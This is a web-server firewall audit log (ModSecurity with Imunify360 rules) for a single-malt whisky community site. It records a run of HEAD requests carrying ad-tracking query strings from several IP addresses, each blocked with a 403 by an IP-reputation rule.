Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273677299103 9250 (- - -)
Stopwatch2: 1789273677299103 9250; combined=6320, p1=345, p2=5435, p3=84, p4=8, p5=447, sr=143, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e2fce057-Z--

--f40d506d-A--
[13/Sep/2026:07:27:57.647594 +0300] aqYmTUwu1RSkptiiNIXv2QAAAIo 209.101.128.18 44370 127.0.0.1 7081
--f40d506d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.18
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f40d506d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f40d506d-E--

--f40d506d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273677639398 8304 (- - -)
Stopwatch2: 1789273677639398 8304; combined=5787, p1=389, p2=5005, p3=90, p4=10, p5=292, sr=227, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f40d506d-Z--

--f5a14070-A--
[13/Sep/2026:07:27:57.996034 +0300] aqYmTWM7dE9KgIIOpQhiEwAAANM 209.101.128.215 44380 127.0.0.1 7081
--f5a14070-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f5a14070-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f5a14070-E--

--f5a14070-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273677988864 7240 (- - -)
Stopwatch2: 1789273677988864 7240; combined=5266, p1=291, p2=4591, p3=83, p4=8, p5=292, sr=125, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f5a14070-Z--

--392ee870-A--
[13/Sep/2026:07:28:06.488092 +0300] aqYmVjTJ6xTvcJoem7f2ewAAAFU 151.243.174.120 34530 127.0.0.1 7081
--392ee870-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--392ee870-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--392ee870-E--

--392ee870-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273686481877 6256 (- - -)
Stopwatch2: 1789273686481877 6256; combined=4484, p1=242, p2=3920, p3=65, p4=7, p5=249, sr=106, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--392ee870-Z--

--edbff864-A--
[13/Sep/2026:07:28:06.946809 +0300] aqYmVisVWymXUono-eRRTQAAAAA 151.243.174.109 34536 127.0.0.1 7081
--edbff864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--edbff864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--edbff864-E--

--edbff864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273686938534 8329 (- - -)
Stopwatch2: 1789273686938534 8329; combined=6399, p1=329, p2=5309, p3=86, p4=8, p5=666, sr=138, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--edbff864-Z--

--6a24c117-A--
[13/Sep/2026:07:28:07.572602 +0300] aqYmVzTJ6xTvcJoem7f2fAAAAEY 95.134.102.199 34544 127.0.0.1 7081
--6a24c117-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.199
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6a24c117-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6a24c117-E--

--6a24c117-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273687566678 6016 (- - -)
Stopwatch2: 1789273687566678 6016; combined=4157, p1=297, p2=3550, p3=61, p4=6, p5=243, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6a24c117-Z--

--77962212-A--
[13/Sep/2026:07:28:41.596322 +0300] aqYmeWM7dE9KgIIOpQhiHAAAANA 151.243.174.154 57904 127.0.0.1 7081
--77962212-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--77962212-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--77962212-E--

--77962212-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273721588890 7474 (- - -)
Stopwatch2: 1789273721588890 7474; combined=5140, p1=263, p2=4556, p3=66, p4=5, p5=250, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--77962212-Z--

--e0da5348-A--
[13/Sep/2026:07:29:15.895587 +0300] aqYmm2M7dE9KgIIOpQhiKgAAAMo 95.134.102.78 35346 127.0.0.1 7081
--e0da5348-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e0da5348-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e0da5348-E--

--e0da5348-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273755890048 5646 (- - -)
Stopwatch2: 1789273755890048 5646; combined=4162, p1=213, p2=3574, p3=61, p4=7, p5=306, sr=90, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e0da5348-Z--

--bff0225b-A--
[13/Sep/2026:07:29:16.263200 +0300] aqYmnEwu1RSkptiiNIXv3gAAAJU 151.243.174.109 35362 127.0.0.1 7081
--bff0225b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--bff0225b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--bff0225b-E--

--bff0225b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273756257958 5281 (- - -)
Stopwatch2: 1789273756257958 5281; combined=3881, p1=221, p2=3355, p3=62, p4=6, p5=237, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bff0225b-Z--

--b712a22e-A--
[13/Sep/2026:07:29:16.649133 +0300] aqYmnGM7dE9KgIIOpQhiLAAAANM 95.134.102.237 35366 127.0.0.1 7081
--b712a22e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.237
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b712a22e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b712a22e-E--

--b712a22e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273756643368 5828 (- - -)
Stopwatch2: 1789273756643368 5828; combined=4393, p1=327, p2=3701, p3=103, p4=8, p5=254, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b712a22e-Z--

--f0cfa452-A--
[13/Sep/2026:07:29:18.502218 +0300] aqYmnkwu1RSkptiiNIXv4AAAAI0 95.134.102.250 35404 127.0.0.1 7081
--f0cfa452-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f0cfa452-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f0cfa452-E--

--f0cfa452-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273758496374 5883 (- - -)
Stopwatch2: 1789273758496374 5883; combined=4383, p1=271, p2=3800, p3=66, p4=7, p5=239, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0cfa452-Z--

--9c7da228-A--
[13/Sep/2026:07:29:18.612246 +0300] aqYmnkwu1RSkptiiNIXv4QAAAIw 95.134.102.235 35412 127.0.0.1 7081
--9c7da228-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--9c7da228-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--9c7da228-E--

--9c7da228-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273758606602 5703 (- - -)
Stopwatch2: 1789273758606602 5703; combined=4041, p1=239, p2=3489, p3=61, p4=13, p5=239, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9c7da228-Z--

--b6d02b40-A--
[13/Sep/2026:07:29:18.727959 +0300] aqYmnkwu1RSkptiiNIXv4wAAAJg 95.134.102.235 35422 127.0.0.1 7081
--b6d02b40-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b6d02b40-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b6d02b40-E--

--b6d02b40-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273758719596 8413 (- - -)
Stopwatch2: 1789273758719596 8413; combined=5411, p1=308, p2=4667, p3=73, p4=7, p5=356, sr=160, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6d02b40-Z--

--1027512a-A--
[13/Sep/2026:07:29:29.369345 +0300] aqYmqTTJ6xTvcJoem7f2hwAAAEE 151.243.174.229 37478 127.0.0.1 7081
--1027512a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--1027512a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1027512a-E--

--1027512a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273769362750 6633 (- - -)
Stopwatch2: 1789273769362750 6633; combined=4951, p1=251, p2=4394, p3=63, p4=6, p5=237, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1027512a-Z--

--aa214a10-A--
[13/Sep/2026:07:29:29.724322 +0300] aqYmqWM7dE9KgIIOpQhiMQAAAM0 95.134.102.156 37494 127.0.0.1 7081
--aa214a10-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--aa214a10-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--aa214a10-E--

--aa214a10-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273769716584 7790 (- - -)
Stopwatch2: 1789273769716584 7790; combined=5682, p1=320, p2=4963, p3=88, p4=8, p5=303, sr=140, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa214a10-Z--

--e3ca147d-A--
[13/Sep/2026:07:29:30.095302 +0300] aqYmqkwu1RSkptiiNIXv5AAAAIE 151.243.174.234 37510 127.0.0.1 7081
--e3ca147d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e3ca147d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e3ca147d-E--

--e3ca147d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273770089167 6183 (- - -)
Stopwatch2: 1789273770089167 6183; combined=4456, p1=224, p2=3881, p3=77, p4=7, p5=267, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3ca147d-Z--

--b106851b-A--
[13/Sep/2026:07:29:34.437939 +0300] aqYmrkwu1RSkptiiNIXv5wAAAIc 95.134.102.156 37540 127.0.0.1 7081
--b106851b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b106851b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b106851b-E--

--b106851b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273774430659 7328 (- - -)
Stopwatch2: 1789273774430659 7328; combined=5553, p1=319, p2=4899, p3=72, p4=6, p5=256, sr=174, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b106851b-Z--

--ee6f574e-A--
[13/Sep/2026:07:29:34.557279 +0300] aqYmrjTJ6xTvcJoem7f2iAAAAE4 95.134.102.78 37550 127.0.0.1 7081
--ee6f574e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--ee6f574e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ee6f574e-E--

--ee6f574e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273774548908 8448 (- - -)
Stopwatch2: 1789273774548908 8448; combined=6329, p1=316, p2=5468, p3=96, p4=36, p5=413, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ee6f574e-Z--

--e3b10861-A--
[13/Sep/2026:07:29:35.352890 +0300] aqYmr2M7dE9KgIIOpQhiMwAAAMA 95.134.102.223 37558 127.0.0.1 7081
--e3b10861-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e3b10861-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e3b10861-E--

--e3b10861-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273775346720 6210 (- - -)
Stopwatch2: 1789273775346720 6210; combined=4579, p1=292, p2=3848, p3=81, p4=7, p5=351, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3b10861-Z--

--8d4c796f-A--
[13/Sep/2026:07:29:43.683258 +0300] aqYmt0wu1RSkptiiNIXv6gAAAJM 95.134.102.223 48416 127.0.0.1 7081
--8d4c796f-B--
